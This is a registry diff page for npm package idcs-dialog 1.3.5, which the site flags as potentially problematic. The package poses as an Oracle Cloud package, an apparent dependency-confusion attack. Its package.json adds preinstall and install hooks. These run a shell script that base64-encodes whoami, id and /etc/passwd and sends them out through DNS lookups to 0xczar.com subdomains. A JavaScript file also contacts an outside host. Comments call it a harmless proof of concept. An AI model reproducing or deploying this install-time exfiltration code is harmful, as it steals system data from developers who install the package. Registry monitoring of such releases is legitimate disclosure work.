idcs-dialog 1.3.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of idcs-dialog might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/ex.sh +7 -0
  2. package/index.js +25 -0
  3. package/package.json +13 -0
package/ex.sh ADDED
@@ -0,0 +1,7 @@
1
+ #!/bin/bash
2
+ ##npm guys - this is NOT a malicious script, this only send DNS request to my private domain
3
+ ##I have no intent to turn this into something malicious, this is for POC only.
4
+
5
+ nslookup $(whoami|base64).oracle_npm.sub.0xczar.com
6
+ nslookup $(cat /etc/passwd|base64).oracle_npm.sub.0xczar.com
7
+ nslookup $(id).oracle_npm.sub.0xczar.com
package/index.js ADDED
@@ -0,0 +1,25 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a test message from 0xczar for POC purposes");
3
+ }
4
+
5
+ const https = require('http')
6
+ const options = {
7
+ hostname: 'js_file.sub.0xczar.com',
8
+ port: 80,
9
+ path: '/0xczar_404.txt',
10
+ method: 'GET'
11
+ }
12
+
13
+ const req = https.request(options, res => {
14
+ console.log(`statusCode: ${res.statusCode}`)
15
+
16
+ res.on('data', d => {
17
+ process.stdout.write(d)
18
+ })
19
+ })
20
+
21
+ req.on('error', error => {
22
+ console.error(error)
23
+ })
24
+
25
+ req.end()
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "idcs-dialog",
3
+ "version": "1.3.5",
4
+ "description": "This is the idcs-dialog package from oraclecloud",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "./ex.sh",
9
+ "install": "node index.js"
10
+ },
11
+ "author": "0xczar",
12
+ "license": "ISC"
13
+ }